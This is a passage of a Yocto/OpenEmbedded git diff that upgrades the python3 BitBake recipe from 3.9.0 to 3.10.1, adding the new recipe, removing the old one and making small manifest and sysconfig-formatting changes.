"cached": []
},
+ "statistics": {
+ "summary": "Basic statistics module",
+ "rdepends": [
+ "core",
+ "math",
+ "numbers"
+ ],
+ "files": [
+ "${libdir}/python${PYTHON_MAJMIN}/statistics.py"
+ ],
+ "cached": [
+ "${libdir}/python${PYTHON_MAJMIN}/__pycache__/statistics.*.pyc"
+ ]
+ },
"stringold": {
"summary": "Python string APIs [deprecated]",
"rdepends": [
diff --git a/meta/recipes-devtools/python/python3/reformat_sysconfig.py b/meta/recipes-devtools/python/python3/reformat_sysconfig.py
index c4164313e8..5e2b12879d 100644
--- a/meta/recipes-devtools/python/python3/reformat_sysconfig.py
+++ b/meta/recipes-devtools/python/python3/reformat_sysconfig.py
@@ -16,6 +16,6 @@ with open(sys.argv[1], 'r') as f:
with open(sys.argv[1], 'w') as f:
for k in sorted(l.keys()):
f.write('%s = ' % k)
- pprint.pprint(l[k], stream=f, width=sys.maxsize)
+ pprint.pprint(l[k], stream=f, width=1)
f.write('\n')
diff --git a/meta/recipes-devtools/python/python3_3.10.1.bb b/meta/recipes-devtools/python/python3_3.10.1.bb
new file mode 100644
index 0000000000..6115ffe5b3
--- /dev/null
+++ b/meta/recipes-devtools/python/python3_3.10.1.bb
@@ -0,0 +1,400 @@
+SUMMARY = "The Python Programming Language"
+HOMEPAGE = "http://www.python.org"
+DESCRIPTION = "Python is a programming language that lets you work more quickly and integrate your systems more effectively."
+LICENSE = "PSFv2"
+SECTION = "devel/python"
+
+LIC_FILES_CHKSUM = "file://LICENSE;md5=3dd7bed622743ef9b77169b3736f7990"
+
+SRC_URI = "http://www.python.org/ftp/python/${PV}/Python-${PV}.tar.xz \
+ file://run-ptest \
+ file://create_manifest3.py \
+ file://get_module_deps3.py \
+ file://python3-manifest.json \
+ file://check_build_completeness.py \
+ file://reformat_sysconfig.py \
+ file://cgi_py.patch \
+ file://0001-Do-not-add-usr-lib-termcap-to-linker-flags-to-avoid-.patch \
+ ${@bb.utils.contains('PACKAGECONFIG', 'tk', '', 'file://avoid_warning_about_tkinter.patch', d)} \
+ file://0001-Do-not-use-the-shell-version-of-python-config-that-w.patch \
+ file://python-config.patch \
+ file://0001-Makefile.pre-use-qemu-wrapper-when-gathering-profile.patch \
+ file://0001-python3-use-cc_basename-to-replace-CC-for-checking-c.patch \
+ file://0001-bpo-36852-proper-detection-of-mips-architecture-for-.patch \
+ file://crosspythonpath.patch \
+ file://0001-Use-FLAG_REF-always-for-interned-strings.patch \
+ file://0001-test_locale.py-correct-the-test-output-format.patch \
+ file://0017-setup.py-do-not-report-missing-dependencies-for-disa.patch \
+ file://0001-setup.py-pass-missing-libraries-to-Extension-for-mul.patch \
+ file://0001-Makefile-do-not-compile-.pyc-in-parallel.patch \
+ file://0020-configure.ac-setup.py-do-not-add-a-curses-include-pa.patch \
+ file://0001-Skip-failing-tests-due-to-load-variability-on-YP-AB.patch \
+ file://0001-test_ctypes.test_find-skip-without-tools-sdk.patch \
+ file://makerace.patch \
+ file://0001-sysconfig.py-use-platlibdir-also-for-purelib.patch \
+ file://0001-Lib-pty.py-handle-stdin-I-O-errors-same-way-as-maste.patch \
+ "
+
+SRC_URI:append:class-native = " \
+ file://0001-Lib-sysconfig.py-use-prefix-value-from-build-configu.patch \
+ file://0001-distutils-sysconfig-append-STAGING_LIBDIR-python-sys.patch \
+ file://12-distutils-prefix-is-inside-staging-area.patch \
+ file://0001-Don-t-search-system-for-headers-libraries.patch \
+ "
+SRC_URI[sha256sum] = "a7f1265b6e1a5de1ec5c3ec7019ab53413469934758311e9d240c46e5ae6e177"
+
+# exclude pre-releases for both python 2.x and 3.x
+UPSTREAM_CHECK_REGEX = "[Pp]ython-(?P<pver>\d+(\.\d+)+).tar"
+UPSTREAM_CHECK_URI = "https://www.python.org/downloads/source/"
+
+CVE_PRODUCT = "python"
+
+# Upstream consider this expected behaviour
+CVE_CHECK_WHITELIST += "CVE-2007-4559"
+# This is not exploitable when glibc has CVE-2016-10739 fixed.
+CVE_CHECK_WHITELIST += "CVE-2019-18348"
+
+# This is windows only issue.
+CVE_CHECK_WHITELIST += "CVE-2020-15523"
+
+PYTHON_MAJMIN = "3.10"
+
+S = "${WORKDIR}/Python-${PV}"
+
+BBCLASSEXTEND = "native nativesdk"
+
+inherit autotools pkgconfig qemu ptest multilib_header update-alternatives
+
+MULTILIB_SUFFIX = "${@d.getVar('base_libdir',1).split('/')[-1]}"
+
+ALTERNATIVE:${PN}-dev = "python3-config"
+ALTERNATIVE_LINK_NAME[python3-config] = "${bindir}/python${PYTHON_MAJMIN}-config"
+ALTERNATIVE_TARGET[python3-config] = "${bindir}/python${PYTHON_MAJMIN}-config-${MULTILIB_SUFFIX}"
+
+
+DEPENDS = "bzip2-replacement-native libffi bzip2 openssl sqlite3 zlib virtual/libintl xz virtual/crypt util-linux libtirpc libnsl2 autoconf-archive-native"
+DEPENDS:append:class-target = " python3-native"
+DEPENDS:append:class-nativesdk = " python3-native"
+
+# force to use the mutex+cond implementation (https://bugs.python.org/issue41710)
+CFLAGS += "-DHAVE_BROKEN_POSIX_SEMAPHORES"
+
+EXTRA_OECONF = " --without-ensurepip --enable-shared --with-platlibdir=${baselib}"
+EXTRA_OECONF:append:class-native = " --bindir=${bindir}/${PN}"
+
+export CROSSPYTHONPATH="${STAGING_LIBDIR_NATIVE}/python${PYTHON_MAJMIN}/lib-dynload/"
+
+EXTRANATIVEPATH += "python3-native"
+
+# LTO will be enabled via packageconfig depending upong distro features
+LTO:class-target = ""
+
+CACHED_CONFIGUREVARS = " \
+ ac_cv_file__dev_ptmx=yes \
+ ac_cv_file__dev_ptc=no \
+ ac_cv_working_tzset=yes \
+"
+
+# PGO currently causes builds to not be reproducible so disable by default, see YOCTO #13407
+PACKAGECONFIG:class-target ??= "readline gdbm ${@bb.utils.filter('DISTRO_FEATURES', 'lto', d)}"
+PACKAGECONFIG:class-native ??= "readline gdbm"
+PACKAGECONFIG:class-nativesdk ??= "readline gdbm"
+PACKAGECONFIG[readline] = ",,readline"
+# Use profile guided optimisation by running PyBench inside qemu-user
+PACKAGECONFIG[pgo] = "--enable-optimizations,,qemu-native"
+PACKAGECONFIG[tk] = ",,tk"
+PACKAGECONFIG[gdbm] = ",,gdbm"
+PACKAGECONFIG[lto] = "--with-lto,,"
+
+do_configure:prepend () {
+ mkdir -p ${B}/Modules
+ cat > ${B}/Modules/Setup.local << EOF
+*disabled*
+${@bb.utils.contains('PACKAGECONFIG', 'gdbm', '', '_gdbm _dbm', d)}
+${@bb.utils.contains('PACKAGECONFIG', 'readline', '', 'readline', d)}
+EOF
+}
+
+CPPFLAGS:append = " -I${STAGING_INCDIR}/ncursesw -I${STAGING_INCDIR}/uuid"
+
+EXTRA_OEMAKE = '\
+ STAGING_LIBDIR=${STAGING_LIBDIR} \
+ STAGING_INCDIR=${STAGING_INCDIR} \
+ LIB=${baselib} \
+'
+
+do_compile:prepend:class-target() {
+ if ${@bb.utils.contains('PACKAGECONFIG', 'pgo', 'true', 'false', d)}; then
+ qemu_binary="${@qemu_wrapper_cmdline(d, '${STAGING_DIR_TARGET}', ['${B}', '${STAGING_DIR_TARGET}/${base_libdir}'])}"
+ cat >pgo-wrapper <<EOF
+#!/bin/sh
+cd ${B}
+$qemu_binary "\$@"
+EOF
+ chmod +x pgo-wrapper
+ fi
+}
+
+do_install:prepend() {
+ ${WORKDIR}/check_build_completeness.py ${T}/log.do_compile
+}
+
+do_install:append:class-target() {
+ oe_multilib_header python${PYTHON_MAJMIN}/pyconfig.h
+}
+
+do_install:append:class-native() {
+ # Make sure we use /usr/bin/env python
+ for PYTHSCRIPT in `grep -rIl ${bindir}/${PN}/python ${D}${bindir}/${PN}`; do
+ sed -i -e '1s|^#!.*|#!/usr/bin/env python3|' $PYTHSCRIPT
+ done
+ # Add a symlink to the native Python so that scripts can just invoke
+ # "nativepython" and get the right one without needing absolute paths
+ # (these often end up too long for the #! parser in the kernel as the
+ # buffer is 128 bytes long).
+ ln -s python3-native/python3 ${D}${bindir}/nativepython3
+}
+
+do_install:append() {
+ for c in ${D}/${libdir}/python${PYTHON_MAJMIN}/_sysconfigdata*.py; do
+ python3 ${WORKDIR}/reformat_sysconfig.py $c
+ done
+ rm ${D}${libdir}/python${PYTHON_MAJMIN}/__pycache__/_sysconfigdata*.cpython*
+
+ mkdir -p ${D}${libdir}/python-sysconfigdata
+ sysconfigfile=`find ${D} -name _sysconfig*.py`
+ cp $sysconfigfile ${D}${libdir}/python-sysconfigdata/_sysconfigdata.py
+
+ sed -i \
+ -e "s,^ 'LIBDIR'.*, 'LIBDIR': '${STAGING_LIBDIR}'\,,g" \
+ -e "s,^ 'INCLUDEDIR'.*, 'INCLUDEDIR': '${STAGING_INCDIR}'\,,g" \
+ -e "s,^ 'CONFINCLUDEDIR'.*, 'CONFINCLUDEDIR': '${STAGING_INCDIR}'\,,g" \
+ -e "/^ 'INCLDIRSTOMAKE'/{N; s,/usr/include,${STAGING_INCDIR},g}" \
+ -e "/^ 'INCLUDEPY'/s,/usr/include,${STAGING_INCDIR},g" \
+ ${D}${libdir}/python-sysconfigdata/_sysconfigdata.py
+
+ # Unfortunately the following pyc files are non-deterministc due to 'frozenset'
+ # being written without strict ordering, even with PYTHONHASHSEED = 0
+ # Upstream is discussing ways to solve the issue properly, until then let's
+ # just not install the problematic files.
+ # More info: http://benno.id.au/blog/2013/01/15/python-determinism
+ rm ${D}${libdir}/python${PYTHON_MAJMIN}/test/__pycache__/test_range.cpython*
+ rm ${D}${libdir}/python${PYTHON_MAJMIN}/test/__pycache__/test_xml_etree.cpython*
+}
+
+do_install:append:class-nativesdk () {
+ # Make sure we use /usr/bin/env python
+ for PYTHSCRIPT in `grep -rIl ${bindir}/python ${D}${bindir}`; do
+ sed -i -e '1s|^#!.*|#!/usr/bin/env python3|' $PYTHSCRIPT
+ done
+ create_wrapper ${D}${bindir}/python${PYTHON_MAJMIN} TERMINFO_DIRS='${sysconfdir}/terminfo:/etc/terminfo:/usr/share/terminfo:/usr/share/misc/terminfo:/lib/terminfo' PYTHONNOUSERSITE='1'
+}
+
+SSTATE_SCAN_FILES += "Makefile _sysconfigdata.py"
+SSTATE_HASHEQUIV_FILEMAP = " \
+ populate_sysroot:*/lib*/python3*/_sysconfigdata*.py:${TMPDIR} \
+ populate_sysroot:*/lib*/python3*/_sysconfigdata*.py:${COREBASE} \
+ populate_sysroot:*/lib*/python3*/config-*/Makefile:${TMPDIR} \
+ populate_sysroot:*/lib*/python3*/config-*/Makefile:${COREBASE} \
+ populate_sysroot:*/lib*/python-sysconfigdata/_sysconfigdata.py:${TMPDIR} \
+ populate_sysroot:*/lib*/python-sysconfigdata/_sysconfigdata.py:${COREBASE} \
+ "
+PACKAGE_PREPROCESS_FUNCS += "py_package_preprocess"
+
+py_package_preprocess () {
+ # Remove references to buildmachine paths in target Makefile and _sysconfigdata
+ sed -i -e 's:--sysroot=${STAGING_DIR_TARGET}::g' -e s:'--with-libtool-sysroot=${STAGING_DIR_TARGET}'::g \
+ -e 's|${DEBUG_PREFIX_MAP}||g' \
+ -e 's:${HOSTTOOLS_DIR}/::g' \
+ -e 's:${RECIPE_SYSROOT_NATIVE}::g' \
+ -e 's:${RECIPE_SYSROOT}::g' \
+ -e 's:${BASE_WORKDIR}/${MULTIMACH_TARGET_SYS}::g' \
+ ${PKGD}/${libdir}/python${PYTHON_MAJMIN}/config-${PYTHON_MAJMIN}${PYTHON_ABI}*/Makefile \
+ ${PKGD}/${libdir}/python${PYTHON_MAJMIN}/_sysconfigdata*.py \
+ ${PKGD}/${bindir}/python${PYTHON_MAJMIN}-config
+
+ # Reformat _sysconfigdata after modifying it so that it remains
+ # reproducible
+ for c in ${PKGD}/${libdir}/python${PYTHON_MAJMIN}/_sysconfigdata*.py; do
+ python3 ${WORKDIR}/reformat_sysconfig.py $c
+ done
+
+ # Recompile _sysconfigdata after modifying it
+ cd ${PKGD}
+ sysconfigfile=`find . -name _sysconfigdata_*.py`
+ ${STAGING_BINDIR_NATIVE}/python3-native/python3 \
+ -c "from py_compile import compile; compile('$sysconfigfile')"
+ ${STAGING_BINDIR_NATIVE}/python3-native/python3 \
+ -c "from py_compile import compile; compile('$sysconfigfile', optimize=1)"
+ ${STAGING_BINDIR_NATIVE}/python3-native/python3 \
+ -c "from py_compile import compile; compile('$sysconfigfile', optimize=2)"
+ cd -
+
+ mv ${PKGD}/${bindir}/python${PYTHON_MAJMIN}-config ${PKGD}/${bindir}/python${PYTHON_MAJMIN}-config-${MULTILIB_SUFFIX}
+
+ #Remove the unneeded copy of target sysconfig data
+ rm -rf ${PKGD}/${libdir}/python-sysconfigdata
+}
+
+# We want bytecode precompiled .py files (.pyc's) by default
+# but the user may set it on their own conf
+INCLUDE_PYCS ?= "1"
+
+python(){
+ import collections, json
+
+ filename = os.path.join(d.getVar('THISDIR'), 'python3', 'python3-manifest.json')
+ # This python changes the datastore based on the contents of a file, so mark
+ # that dependency.
+ bb.parse.mark_dependency(d, filename)
+
+ with open(filename) as manifest_file:
+ manifest_str = manifest_file.read()
+ json_start = manifest_str.find('# EOC') + 6
+ manifest_file.seek(json_start)
+ manifest_str = manifest_file.read()
+ python_manifest = json.loads(manifest_str, object_pairs_hook=collections.OrderedDict)
+
+ # First set RPROVIDES for -native case
+ # Hardcoded since it cant be python3-native-foo, should be python3-foo-native
+ pn = 'python3'
+ rprovides = (d.getVar('RPROVIDES') or "").split()
+
+ # ${PN}-misc-native is not in the manifest
+ rprovides.append(pn + '-misc-native')
+
+ for key in python_manifest:
+ pypackage = pn + '-' + key + '-native'
+ if pypackage not in rprovides:
+ rprovides.append(pypackage)
+
+ d.setVar('RPROVIDES:class-native', ' '.join(rprovides))
+
+ # Then work on the target
+ include_pycs = d.getVar('INCLUDE_PYCS')
+
+ packages = d.getVar('PACKAGES').split()
+ pn = d.getVar('PN')
+
+ newpackages=[]
+ for key in python_manifest:
+ pypackage = pn + '-' + key
+
+ if pypackage not in packages:
+ # We need to prepend, otherwise python-misc gets everything
+ # so we use a new variable
+ newpackages.append(pypackage)
+
+ # "Build" python's manifest FILES, RDEPENDS and SUMMARY
+ d.setVar('FILES:' + pypackage, '')
+ for value in python_manifest[key]['files']:
+ d.appendVar('FILES:' + pypackage, ' ' + value)
+
+ # Add cached files
+ if include_pycs == '1':
+ for value in python_manifest[key]['cached']:
+ d.appendVar('FILES:' + pypackage, ' ' + value)
+
+ for value in python_manifest[key]['rdepends']:
+ # Make it work with or without $PN
+ if '${PN}' in value:
+ value=value.split('-', 1)[1]
+ d.appendVar('RDEPENDS:' + pypackage, ' ' + pn + '-' + value)
+
+ for value in python_manifest[key].get('rrecommends', ()):
+ if '${PN}' in value:
+ value=value.split('-', 1)[1]
+ d.appendVar('RRECOMMENDS:' + pypackage, ' ' + pn + '-' + value)
+
+ d.setVar('SUMMARY:' + pypackage, python_manifest[key]['summary'])
+
+ # Prepending so to avoid python-misc getting everything
+ packages = newpackages + packages
+ d.setVar('PACKAGES', ' '.join(packages))
+ d.setVar('ALLOW_EMPTY:${PN}-modules', '1')
+ d.setVar('ALLOW_EMPTY:${PN}-pkgutil', '1')
+
+ if "pgo" in d.getVar("PACKAGECONFIG").split() and not bb.utils.contains('MACHINE_FEATURES', 'qemu-usermode', True, False, d):
+ bb.fatal("pgo cannot be enabled as there is no qemu-usermode support for this architecture/machine")
+}
+
+# Files needed to create a new manifest
+
+do_create_manifest() {
+ # This task should be run with every new release of Python.
+ # We must ensure that PACKAGECONFIG enables everything when creating
+ # a new manifest, this is to base our new manifest on a complete
+ # native python build, containing all dependencies, otherwise the task
+ # wont be able to find the required files.
+ # e.g. BerkeleyDB is an optional build dependency so it may or may not
+ # be present, we must ensure it is.
+
+ cd ${WORKDIR}
+ # This needs to be executed by python-native and NOT by HOST's python
+ nativepython3 create_manifest3.py ${PYTHON_MAJMIN}
+ cp python3-manifest.json.new ${THISDIR}/python3/python3-manifest.json
+}
+
+# bitbake python -c create_manifest
+# Make sure we have native python ready when we create a new manifest
+addtask do_create_manifest after do_patch do_prepare_recipe_sysroot
+
+# manual dependency additions
+RRECOMMENDS:${PN}-core:append:class-nativesdk = " nativesdk-python3-modules"
+RRECOMMENDS:${PN}-crypt:append:class-target = " ${MLPREFIX}openssl ${MLPREFIX}ca-certificates"
+RRECOMMENDS:${PN}-crypt:append:class-nativesdk = " ${MLPREFIX}openssl ${MLPREFIX}ca-certificates"
+
+# For historical reasons PN is empty and provided by python3-modules
+FILES:${PN} = ""
+RPROVIDES:${PN}-modules = "${PN}"
+
+FILES:${PN}-pydoc += "${bindir}/pydoc${PYTHON_MAJMIN} ${bindir}/pydoc3"
+FILES:${PN}-idle += "${bindir}/idle3 ${bindir}/idle${PYTHON_MAJMIN}"
+
+# provide python-pyvenv from python3-venv
+RPROVIDES:${PN}-venv += "${MLPREFIX}python3-pyvenv"
+
+# package libpython3
+PACKAGES =+ "libpython3 libpython3-staticdev"
+FILES:libpython3 = "${libdir}/libpython*.so.*"
+FILES:libpython3-staticdev += "${libdir}/python${PYTHON_MAJMIN}/config-${PYTHON_MAJMIN}-*/libpython${PYTHON_MAJMIN}.a"
+INSANE_SKIP:${PN}-dev += "dev-elf"
+INSANE_SKIP:${PN}-ptest = "dev-deps"
+
+# catch all the rest (unsorted)
+PACKAGES += "${PN}-misc"
+RDEPENDS:${PN}-misc += "\
+ ${PN}-core \
+ ${PN}-email \
+ ${PN}-codecs \
+ ${PN}-pydoc \
+ ${PN}-pickle \
+ ${PN}-audio \
+ ${PN}-numbers \
+"
+RDEPENDS:${PN}-modules:append:class-target = " ${MLPREFIX}python3-misc"
+RDEPENDS:${PN}-modules:append:class-nativesdk = " ${MLPREFIX}python3-misc"
+FILES:${PN}-misc = "${libdir}/python${PYTHON_MAJMIN} ${libdir}/python${PYTHON_MAJMIN}/lib-dynload"
+
+# catch manpage
+PACKAGES += "${PN}-man"
+FILES:${PN}-man = "${datadir}/man"
+
+# See https://bugs.python.org/issue18748 and https://bugs.python.org/issue37395
+RDEPENDS:libpython3:append:libc-glibc = " libgcc"
+RDEPENDS:${PN}-ctypes:append:libc-glibc = " ${MLPREFIX}ldconfig"
+RDEPENDS:${PN}-ptest = "${PN}-modules ${PN}-tests ${PN}-dev unzip bzip2 libgcc tzdata-europe coreutils sed"
+RDEPENDS:${PN}-ptest:append:libc-glibc = " locale-base-tr-tr.iso-8859-9"
+RDEPENDS:${PN}-tkinter += "${@bb.utils.contains('PACKAGECONFIG', 'tk', '${MLPREFIX}tk ${MLPREFIX}tk-lib', '', d)}"
+RDEPENDS:${PN}-idle += "${@bb.utils.contains('PACKAGECONFIG', 'tk', '${PN}-tkinter ${MLPREFIX}tcl', '', d)}"
+RDEPENDS:${PN}-dev = ""
+RDEPENDS:${PN}-pydoc += "${PN}-io"
+
+RDEPENDS:${PN}-tests:append:class-target = " ${MLPREFIX}bash"
+RDEPENDS:${PN}-tests:append:class-nativesdk = " ${MLPREFIX}bash"
+
+# Python's tests contain large numbers of files we don't need in the recipe sysroots
+SYSROOT_PREPROCESS_FUNCS += " py3_sysroot_cleanup"
+py3_sysroot_cleanup () {
+ rm -rf ${SYSROOT_DESTDIR}${libdir}/python${PYTHON_MAJMIN}/test
+}
diff --git a/meta/recipes-devtools/python/python3_3.9.0.bb b/meta/recipes-devtools/python/python3_3.9.0.bb
deleted file mode 100644
index 19a8950f15..0000000000
--- a/meta/recipes-devtools/python/python3_3.9.0.bb
+++ /dev/null
@@ -1,376 +0,0 @@
-SUMMARY = "The Python Programming Language"
-HOMEPAGE = "http://www.python.org"
-LICENSE = "PSFv2"
-SECTION = "devel/python"
-
-LIC_FILES_CHKSUM = "file://LICENSE;md5=33223c9ef60c31e3f0e866cb09b65e83"
-
-SRC_URI = "http://www.python.org/ftp/python/${PV}/Python-${PV}.tar.xz \
- file://run-ptest \
- file://create_manifest3.py \
- file://get_module_deps3.py \
- file://python3-manifest.json \
- file://check_build_completeness.py \
- file://reformat_sysconfig.py \
- file://cgi_py.patch \
- file://0001-Do-not-add-usr-lib-termcap-to-linker-flags-to-avoid-.patch \
- ${@bb.utils.contains('PACKAGECONFIG', 'tk', '', 'file://avoid_warning_about_tkinter.patch', d)} \
- file://0001-Do-not-use-the-shell-version-of-python-config-that-w.patch \
- file://python-config.patch \
- file://0001-Makefile.pre-use-qemu-wrapper-when-gathering-profile.patch \
- file://0001-python3-use-cc_basename-to-replace-CC-for-checking-c.patch \
- file://0001-Makefile-fix-Issue36464-parallel-build-race-problem.patch \
- file://0001-bpo-36852-proper-detection-of-mips-architecture-for-.patch \
- file://crosspythonpath.patch \
- file://0001-Use-FLAG_REF-always-for-interned-strings.patch \
- file://0001-test_locale.py-correct-the-test-output-format.patch \
- file://0017-setup.py-do-not-report-missing-dependencies-for-disa.patch \
- file://0001-setup.py-pass-missing-libraries-to-Extension-for-mul.patch \
- file://0001-Makefile-do-not-compile-.pyc-in-parallel.patch \
- file://0020-configure.ac-setup.py-do-not-add-a-curses-include-pa.patch \
- file://0001-Lib-sysconfig.py-use-libdir-values-from-configuratio.patch \
- file://CVE-2020-27619.patch \
- "
-
-SRC_URI_append_class-native = " \
- file://0001-distutils-sysconfig-append-STAGING_LIBDIR-python-sys.patch \
- file://12-distutils-prefix-is-inside-staging-area.patch \
- file://0001-Don-t-search-system-for-headers-libraries.patch \
- "
-
-SRC_URI[sha256sum] = "9c73e63c99855709b9be0b3cc9e5b072cb60f37311e8c4e50f15576a0bf82854"
-
-# exclude pre-releases for both python 2.x and 3.x
-UPSTREAM_CHECK_REGEX = "[Pp]ython-(?P<pver>\d+(\.\d+)+).tar"
-UPSTREAM_CHECK_URI = "https://www.python.org/downloads/source/"
-
-CVE_PRODUCT = "python"
-
-# Upstream consider this expected behaviour
-CVE_CHECK_WHITELIST += "CVE-2007-4559"
-# This is not exploitable when glibc has CVE-2016-10739 fixed.
-CVE_CHECK_WHITELIST += "CVE-2019-18348"
-
-# This is windows only issue.
-CVE_CHECK_WHITELIST += "CVE-2020-15523"
-
-PYTHON_MAJMIN = "3.9"
-
-S = "${WORKDIR}/Python-${PV}"
-
-BBCLASSEXTEND = "native nativesdk"
-
-inherit autotools pkgconfig qemu ptest multilib_header update-alternatives
-
-MULTILIB_SUFFIX = "${@d.getVar('base_libdir',1).split('/')[-1]}"
-
-ALTERNATIVE_${PN}-dev = "python3-config"
-ALTERNATIVE_LINK_NAME[python3-config] = "${bindir}/python${PYTHON_MAJMIN}-config"
-ALTERNATIVE_TARGET[python3-config] = "${bindir}/python${PYTHON_MAJMIN}-config-${MULTILIB_SUFFIX}"
-
-
-DEPENDS = "bzip2-replacement-native libffi bzip2 openssl sqlite3 zlib virtual/libintl xz virtual/crypt util-linux libtirpc libnsl2"
-DEPENDS_append_class-target = " python3-native"
-DEPENDS_append_class-nativesdk = " python3-native"
-
-EXTRA_OECONF = " --without-ensurepip --enable-shared --with-platlibdir=${baselib}"
-EXTRA_OECONF_append_class-native = " --bindir=${bindir}/${PN}"
-
-export CROSSPYTHONPATH="${STAGING_LIBDIR_NATIVE}/python${PYTHON_MAJMIN}/lib-dynload/"
-
-EXTRANATIVEPATH += "python3-native"
-
-# LTO will be enabled via packageconfig depending upong distro features
-LTO_class-target = ""
-
-CACHED_CONFIGUREVARS = " \
- ac_cv_file__dev_ptmx=yes \
- ac_cv_file__dev_ptc=no \
- ac_cv_working_tzset=yes \
-"
-
-def possibly_include_pgo(d):
- # PGO currently causes builds to not be reproducible, so disable it for
- # now. See YOCTO #13407
- if bb.utils.contains('MACHINE_FEATURES', 'qemu-usermode', True, False, d) and d.getVar('BUILD_REPRODUCIBLE_BINARIES') != '1':
- return 'pgo'
-
- return ''
-
-PACKAGECONFIG_class-target ??= "readline ${@possibly_include_pgo(d)} gdbm ${@bb.utils.filter('DISTRO_FEATURES', 'lto', d)}"
-PACKAGECONFIG_class-native ??= "readline gdbm"
-PACKAGECONFIG_class-nativesdk ??= "readline gdbm"
-PACKAGECONFIG[readline] = ",,readline"
-# Use profile guided optimisation by running PyBench inside qemu-user
-PACKAGECONFIG[pgo] = "--enable-optimizations,,qemu-native"
-PACKAGECONFIG[tk] = ",,tk"
-PACKAGECONFIG[gdbm] = ",,gdbm"
-PACKAGECONFIG[lto] = "--with-lto,,"
-
-do_configure_prepend () {
- mkdir -p ${B}/Modules
- cat > ${B}/Modules/Setup.local << EOF
-*disabled*
-${@bb.utils.contains('PACKAGECONFIG', 'gdbm', '', '_gdbm _dbm', d)}
-${@bb.utils.contains('PACKAGECONFIG', 'readline', '', 'readline', d)}
-EOF
-}
-
-CPPFLAGS_append = " -I${STAGING_INCDIR}/ncursesw -I${STAGING_INCDIR}/uuid"
-
-EXTRA_OEMAKE = '\
- STAGING_LIBDIR=${STAGING_LIBDIR} \
- STAGING_INCDIR=${STAGING_INCDIR} \
- LIB=${baselib} \
-'
-
-do_compile_prepend_class-target() {
- if ${@bb.utils.contains('PACKAGECONFIG', 'pgo', 'true', 'false', d)}; then
- qemu_binary="${@qemu_wrapper_cmdline(d, '${STAGING_DIR_TARGET}', ['${B}', '${STAGING_DIR_TARGET}/${base_libdir}'])}"
- cat >pgo-wrapper <<EOF
-#!/bin/sh
-cd ${B}
-$qemu_binary "\$@"
-EOF
- chmod +x pgo-wrapper
- fi
-}
-
-do_install_prepend() {
- ${WORKDIR}/check_build_completeness.py ${T}/log.do_compile
-}
-
-do_install_append_class-target() {
- oe_multilib_header python${PYTHON_MAJMIN}/pyconfig.h
-}
-
-do_install_append_class-native() {
- # Make sure we use /usr/bin/env python
- for PYTHSCRIPT in `grep -rIl ${bindir}/${PN}/python ${D}${bindir}/${PN}`; do
- sed -i -e '1s|^#!.*|#!/usr/bin/env python3|' $PYTHSCRIPT
- done
- # Add a symlink to the native Python so that scripts can just invoke
- # "nativepython" and get the right one without needing absolute paths
- # (these often end up too long for the #! parser in the kernel as the
- # buffer is 128 bytes long).
- ln -s python3-native/python3 ${D}${bindir}/nativepython3
-}
-
-do_install_append() {
- mkdir -p ${D}${libdir}/python-sysconfigdata
- sysconfigfile=`find ${D} -name _sysconfig*.py`
- cp $sysconfigfile ${D}${libdir}/python-sysconfigdata/_sysconfigdata.py
-
- sed -i \
- -e "s,^ 'LIBDIR'.*, 'LIBDIR': '${STAGING_LIBDIR}'\,,g" \
- -e "s,^ 'INCLUDEDIR'.*, 'INCLUDEDIR': '${STAGING_INCDIR}'\,,g" \
- -e "s,^ 'CONFINCLUDEDIR'.*, 'CONFINCLUDEDIR': '${STAGING_INCDIR}'\,,g" \
- -e "/^ 'INCLDIRSTOMAKE'/{N; s,/usr/include,${STAGING_INCDIR},g}" \
- -e "/^ 'INCLUDEPY'/s,/usr/include,${STAGING_INCDIR},g" \
- ${D}${libdir}/python-sysconfigdata/_sysconfigdata.py
-
- # Unfortunately the following pyc files are non-deterministc due to 'frozenset'
- # being written without strict ordering, even with PYTHONHASHSEED = 0
- # Upstream is discussing ways to solve the issue properly, until then let's
- # just not install the problematic files.
- # More info: http://benno.id.au/blog/2013/01/15/python-determinism
- rm ${D}${libdir}/python${PYTHON_MAJMIN}/test/__pycache__/test_range.cpython*
- rm ${D}${libdir}/python${PYTHON_MAJMIN}/test/__pycache__/test_xml_etree.cpython*
-}
-
-do_install_append_class-nativesdk () {
- create_wrapper ${D}${bindir}/python${PYTHON_MAJMIN} TERMINFO_DIRS='${sysconfdir}/terminfo:/etc/terminfo:/usr/share/terminfo:/usr/share/misc/terminfo:/lib/terminfo' PYTHONNOUSERSITE='1'
-}
-
-SSTATE_SCAN_FILES += "Makefile _sysconfigdata.py"
-PACKAGE_PREPROCESS_FUNCS += "py_package_preprocess"
-
-py_package_preprocess () {
- # Remove references to buildmachine paths in target Makefile and _sysconfigdata
- sed -i -e 's:--sysroot=${STAGING_DIR_TARGET}::g' -e s:'--with-libtool-sysroot=${STAGING_DIR_TARGET}'::g \
- -e 's|${DEBUG_PREFIX_MAP}||g' \
- -e 's:${HOSTTOOLS_DIR}/::g' \
- -e 's:${RECIPE_SYSROOT_NATIVE}::g' \
- -e 's:${RECIPE_SYSROOT}::g' \
- -e 's:${BASE_WORKDIR}/${MULTIMACH_TARGET_SYS}::g' \
- ${PKGD}/${libdir}/python${PYTHON_MAJMIN}/config-${PYTHON_MAJMIN}${PYTHON_ABI}*/Makefile \
- ${PKGD}/${libdir}/python${PYTHON_MAJMIN}/_sysconfigdata*.py \
- ${PKGD}/${bindir}/python${PYTHON_MAJMIN}-config
-
- # Reformat _sysconfigdata after modifying it so that it remains
- # reproducible
- for c in ${PKGD}/${libdir}/python${PYTHON_MAJMIN}/_sysconfigdata*.py; do
- python3 ${WORKDIR}/reformat_sysconfig.py $c
- done
-
- # Recompile _sysconfigdata after modifying it
- cd ${PKGD}
- sysconfigfile=`find . -name _sysconfigdata_*.py`
- ${STAGING_BINDIR_NATIVE}/python3-native/python3 \
- -c "from py_compile import compile; compile('$sysconfigfile')"
- ${STAGING_BINDIR_NATIVE}/python3-native/python3 \
- -c "from py_compile import compile; compile('$sysconfigfile', optimize=1)"
- ${STAGING_BINDIR_NATIVE}/python3-native/python3 \
- -c "from py_compile import compile; compile('$sysconfigfile', optimize=2)"
- cd -
-
- mv ${PKGD}/${bindir}/python${PYTHON_MAJMIN}-config ${PKGD}/${bindir}/python${PYTHON_MAJMIN}-config-${MULTILIB_SUFFIX}
-
- #Remove the unneeded copy of target sysconfig data
- rm -rf ${PKGD}/${libdir}/python-sysconfigdata
-}
-
-# We want bytecode precompiled .py files (.pyc's) by default
-# but the user may set it on their own conf
-INCLUDE_PYCS ?= "1"
-
-python(){
- import collections, json
-
- filename = os.path.join(d.getVar('THISDIR'), 'python3', 'python3-manifest.json')
